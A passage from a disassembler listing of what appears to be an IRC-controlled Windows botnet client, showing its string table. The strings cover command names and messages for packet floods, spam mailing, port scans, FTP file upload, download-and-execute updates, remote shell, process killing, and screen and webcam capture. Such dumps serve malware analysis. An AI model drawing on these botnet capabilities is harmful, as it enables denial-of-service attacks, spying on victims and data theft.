'tcpflood',0 ; DATA XREF: sub_401C87+50F6o align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401C87+510Do aEmail db 'email',0 ; DATA XREF: sub_401C87+5124o asc_441F2E db ' ',0 ; DATA XREF: sub_401C87+516Eo a__0: ; DATA XREF: sub_401C87+5173o unicode 0, <_>,0 align 8 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401C87+520Fo db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 unk_441F84 db 2Dh ; - ; DATA XREF: sub_401C87+5283o db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401C87+52D2o aHcon db 'hcon',0 ; DATA XREF: sub_401C87+52E5o align 4 aSyn_0 db 'syn',0 ; DATA XREF: sub_401C87+5343o aAck db 'ack',0 ; DATA XREF: sub_401C87+535Bo aRandom_0 db 'random',0 ; DATA XREF: sub_401C87+5372o align 4 unk_441FC8 db 2Dh ; - ; DATA XREF: sub_401C87+5382o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401C87+5417o aNormal db 'Normal',0 ; DATA XREF: sub_401C87+541Eo align 4 unk_442004 db 2Dh ; - ; DATA XREF: sub_401C87+542Eo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 unk_442038 db 2Dh ; - ; DATA XREF: sub_401C87+5492o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_16 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_442070 db 2Dh ; - ; DATA XREF: sub_401C87:loc_407135o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTi db '- Invalid flood time must be greater than 0.',0 align 4 unk_4420A8 db 2Dh ; - ; DATA XREF: sub_401C87+557Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_4420F0 db 2Dh ; - ; DATA XREF: sub_401C87+55D7o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_17 db 'Failed to start flood thread, error: <%d>.',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401C87+5601o align 10h unk_442140 db 2Dh ; - ; DATA XREF: sub_401C87+561Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 unk_44217C db 2Dh ; - ; DATA XREF: sub_401C87+56CEo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_4421B4 db 2Dh ; - ; DATA XREF: sub_401C87+56F2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_4421E8 db 2Dh ; - ; DATA XREF: sub_401C87+5726o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_442220 db 2Dh ; - ; DATA XREF: sub_401C87+57D4o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_442268 db 2Dh ; - ; DATA XREF: sub_401C87+582Do db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_18 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_4422A0 db 2Dh ; - ; DATA XREF: sub_401C87+5875o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0 align 10h aUpload db 'upload',0 ; DATA XREF: sub_401C87+58ABo align 4 unk_4422E8 db 2Dh ; - ; DATA XREF: sub_401C87+58CEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401C87+5954o align 4 aAb db 'ab',0 ; DATA XREF: sub_401C87+5965o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401C87+5989o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aSS_0 db '-s:%s',0 ; DATA XREF: sub_401C87+59A9o align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401C87+59C0o aOpen_0 db 'open',0 ; DATA XREF: sub_401C87+59C5o align 4 unk_442358 db 2Dh ; - ; DATA XREF: sub_401C87+59D9o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s',0 align 10h unk_442380 db 2Dh ; - ; DATA XREF: sub_401C87:loc_407667o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s failed.',0 align 10h unk_4423B0 db 2Dh ; - ; DATA XREF: sub_401C87+5B04o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_19 db 'Failed to start scan, port is invalid.',0 align 4 unk_4423E4 db 2Dh ; - ; DATA XREF: sub_401C87+5B61o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_20 db 'Failed to start scan, no IP specified.',0 align 4 aRandom_1 db 'Random',0 ; DATA XREF: sub_401C87+5CA5o align 10h aSequential_0 db 'Sequential',0 ; DATA XREF: sub_401C87+5CACo align 10h unk_442430 db 2Dh ; - ; DATA XREF: sub_401C87+5CD7o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_442498 db 2Dh ; - ; DATA XREF: sub_401C87+5D30o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_21 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_4424D0 db 2Dh ; - ; DATA XREF: sub_401C87+5DDCo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_442520 db 2Dh ; - ; DATA XREF: sub_401C87+5E35o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_22 db 'Failed to start scan thread, error: <%d>.',0 align 4 dword_44255C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401C87+5EABo dword_442568 dd 5D73255Bh, 25202A20h, 73252073h, 0 ; DATA XREF: sub_401C87+5F3Fo dword_442578 dd 5D73255Bh, 73253C20h, 7325203Eh, 0 ; DATA XREF: sub_401C87+6041o unk_442588 db 2Dh ; - ; DATA XREF: sub_401C87+60C5o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 unk_4425C4 db 2Dh ; - ; DATA XREF: sub_401C87+611Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_23 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_4425FC db 2Dh ; - ; DATA XREF: sub_401C87+61BEo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_442638 db 2Dh ; - ; DATA XREF: sub_401C87+6217o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_44267C db 2Dh ; - ; DATA XREF: sub_401C87+62F8o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_4426A8 db 2Dh ; - ; DATA XREF: sub_401C87+6351o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_24 db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_4426E8 db 2Dh ; - ; DATA XREF: sub_401C87+63DCo db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSForSS db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_442724 db 2Dh ; - ; DATA XREF: sub_401C87+6438o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToSta_25 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_44275C db 2Dh ; - ; DATA XREF: sub_401C87+64C3o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_44278C db 2Dh ; - ; DATA XREF: sub_401C87+651Fo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToSta_26 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_4427C4 db 2Dh ; - ; DATA XREF: sub_401C87+65BBo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSFo_1 db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_4427F4 db 2Dh ; - ; DATA XREF: sub_401C87+6617o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start flood thread, error: <%d>.',0 align 4 dword_44282C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401C87+66BEo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 dword_44285C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401C87+6717o aFailedToSta_28 db '- Failed to start clone thread, error: <%d>.',0 align 4 unk_442898 db 2Dh ; - ; DATA XREF: sub_401C87+67A3o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 unk_4428C4 db 2Dh ; - ; DATA XREF: sub_401C87+6807o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToSta_29 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_4428FC db 2Dh ; - ; DATA XREF: sub_401C87:loc_4084ADo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFlood_0 db 'Invalid flood time must be greater than 0.',0 align 4 unk_442934 db 2Dh ; - ; DATA XREF: sub_401C87+6848o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 dword_442958 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401C87:loc_4084E4o unk_442964 db 2Dh ; - ; DATA XREF: sub_401C87+68FBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 unk_442994 db 2Dh ; - ; DATA XREF: sub_401C87+695Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_4429D0 db 2Dh ; - ; DATA XREF: sub_401C87+6A11o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 dword_4429F4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401C87+6A1Co dd 7325203Ah, 0 dword_442A10 dd 73257325h, 6578652Eh, 0 ; DATA XREF: sub_401C87+6A7Bo dword_442A1C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401C87+6B20o aDownloadingUpd db '- Downloading update from: %s.',0 align 4 dword_442A48 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401C87+6B79o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 align 8 dword_442A88 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401C87:loc_40881Fo aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h a332_2 db '332',0 ; DATA XREF: sub_401C87+6BA8o aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: sub_401C87+6BE7o align 4 dword_442AE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401C87:loc_4088B2o dword_442AF8 dd 323333h ; DATA XREF: sub_401C87+6C45o aRepeat_0 db 'repeat',0 ; DATA XREF: sub_401C87+6C6Co align 4 aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401C87+6C99o align 4 dword_442B14 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401C87+6CBFo dd 7325h unk_442B2C db 2Dh ; - ; DATA XREF: sub_401C87:loc_408981o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 10h unk_442B60 db 2Dh ; - ; DATA XREF: sub_401C87+6D5Do db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_442B94 db 2Dh ; - ; DATA XREF: sub_401C87+6DB6o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToSta_31 db '- Failed to start flood thread, error: <%d>.',0 align 10h dword_442BD0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401C87+6E2Eo aFloodingSFor_1 db '- Flooding %s for %s seconds.',0 align 4 dword_442BFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401C87+6E87o aFailedToSta_32 db '- Failed to start flood thread, error: <%d>.',0 align 4 aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401C87+6ED4o aS_22 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+6F0Do align 4 aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: sub_401C87+6F3Fo align 4 aS_23 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+6F78o align 4 aNickS_6 db 'NICK %s',0 ; DATA XREF: sub_401C87+6F86o aS_24 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+6FBEo align 4 dword_442C6C dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401C87+6FDDo dd 203A2973h, 7325h dword_442C88 dd 45444F4Dh, 732520h ; DATA XREF: sub_401C87+700Do dword_442C90 dd 0A0D7325h, 0 ; DATA XREF: sub_401C87+7046o dword_442C98 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401C87+7065o dd 203A2973h, 7325h dword_442CB4 dd 0A0D7325h, 0 ; DATA XREF: sub_401C87+70B2o dword_442CBC dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401C87+70D1o dd 25203A29h, 73h dword_442CD8 dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_401C87+70FCo unk_442CE4 db 2Dh ; - ; DATA XREF: sub_401C87+710Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 a332_3 db '332',0 ; DATA XREF: sub_401C87+711Fo aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7134o align 10h aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7161o align 10h dword_442D20 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401C87+716Eo dword_442D34 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401C87+71BAo unk_442D40 db 2Dh ; - ; DATA XREF: sub_401C87+71DDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 unk_442D5C db 2Dh ; - ; DATA XREF: sub_401C87+7237o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_442D7C db 2Dh ; - ; DATA XREF: sub_401C87+7277o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: sub_401C87+72EEo align 4 unk_442DAC db 2Dh ; - ; DATA XREF: sub_401C87+7317o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_442DD4 db 2Dh ; - ; DATA XREF: sub_401C87:loc_408FB4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 dword_442E04 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401C87+7370o dd 2E732520h, 0 aScreen db 'screen',0 ; DATA XREF: sub_401C87:loc_40900Fo align 4 unk_442E28 db 2Dh ; - ; DATA XREF: sub_401C87+73B9o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 unk_442E54 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409050o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing screen.',0 align 4 unk_442E84 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409057o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 10h aDrivers db 'drivers',0 ; DATA XREF: sub_401C87:loc_40906Ao unk_442EC8 db 2Dh ; - ; DATA XREF: sub_401C87+7430o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 10h unk_442EF0 db 2Dh ; - ; DATA XREF: sub_401C87+7463o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 aFrame db 'frame',0 ; DATA XREF: sub_401C87:loc_4090F7o align 10h unk_442F20 db 2Dh ; - ; DATA XREF: sub_401C87+74E7o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 unk_442F4C db 2Dh ; - ; DATA XREF: sub_401C87:loc_40917Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 10h unk_442F80 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409185o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for webcam capture.',0 align 4 aVideo db 'video',0 ; DATA XREF: sub_401C87:loc_409198o align 10h unk_442FC0 db 2Dh ; - ; DATA XREF: sub_401C87+759Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h unk_442FF0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409239o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing amateur video from webcam.',0 dword_443030 dd 234032Dh, 74706163h, 2657275h, 49202D03h, 6C61766Eh ; DATA XREF: sub_401C87:loc_409243o dd 70206469h, 6D617261h, 72657465h, 6F662073h, 6D612072h dd 75657461h, 69762072h, 206F6564h, 74706163h, 2E657275h db 2 dup(0) word_44306E dw 72h ; DATA XREF: sub_401C87:loc_409253o unk_443070 db 2Dh ; - ; DATA XREF: sub_401C87+7637o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 dword_443094 dd 234032Dh, 6E69616Dh, 202D0302h, 64616552h, 6C696620h ; DATA XREF: sub_401C87+764Do dd 61662065h, 64656C69h, 7325203Ah db 2 dup(0) word_4430B6 dw 0Ah ; DATA XREF: sub_401C87+7677o unk_4430B8 db 2Dh ; - ; DATA XREF: sub_401C87+7695o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 dword_4430E4 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401C87+769Do dd 732520h unk_4430FC db 2Dh ; - ; DATA XREF: sub_401C87+76DCo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_44311C dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401C87:loc_40936Ao dd 746E6573h, 2Eh dword_443138 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401C87+778Co dd 2Eh unk_443150 db 2Dh ; - ; DATA XREF: sub_401C87+77E5o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_443190 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401C87+7819o dd 0 dword_4431A8 dd 7325h ; DATA XREF: sub_401C87+783Bo unk_4431AC db 2Dh ; - ; DATA XREF: sub_401C87+788Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 unk_4431D0 db 2Dh ; - ; DATA XREF: sub_401C87+78E6o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_34 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_44320C dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401C87+7915o dd 27732527h, 2Eh dword_443228 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401C87:loc_4095A3o unk_443234 db 2Dh ; - ; DATA XREF: sub_401C87+7960o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 unk_443258 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4095EEo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process ID: %s',0 unk_443288 db 2Dh ; - ; DATA XREF: sub_401C87+79BBo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_4432A8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_40964Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process: %s',0 align 4 unk_4432D8 db 2Dh ; - ; DATA XREF: sub_401C87+79FCo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4432F8 db 2Dh ; - ; DATA XREF: sub_401C87+7A2Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS__0 db '- Lookup: %s -> %s.',0 align 4 unk_443318 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4096BAo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 10h unk_443340 db 2Dh ; - ; DATA XREF: sub_401C87+7A53o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 aOpen_1 db 'open',0 ; DATA XREF: sub_401C87+7A6Do align 10h unk_443370 db 2Dh ; - ; DATA XREF: sub_401C87+7A80o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_443390 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409711o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_4433B4 db 2Dh ; - ; DATA XREF: sub_401C87+7AA3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 aNickS_7 db 'NICK %s',0 ; DATA XREF: sub_401C87+7AE9o aS_25 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7AFEo align 4 aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7B2Co align 4 aAll db 'all',0 ; DATA XREF: sub_401C87+7BB9o unk_443400 db 2Dh ; - ; DATA XREF: sub_401C87+7BD3o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 unk_443428 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409864o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_443450 db 2Dh ; - ; DATA XREF: sub_401C87+7C28o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_443474 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4098B6o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h aS_26 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7C97o align 4 dword_4434A8 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401C87+7CA5o dd 2E732520h, 0 dword_4434C4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401C87+7CB2o unk_4434D0 db 2Dh ; - ; DATA XREF: sub_401C87+7CC2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7CD6o align 4 unk_443504 db 2Dh ; - ; DATA XREF: sub_401C87+7CE6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 aNickS_8 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7CF3o align 4 unk_443534 db 2Dh ; - ; DATA XREF: sub_401C87+7D03o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: 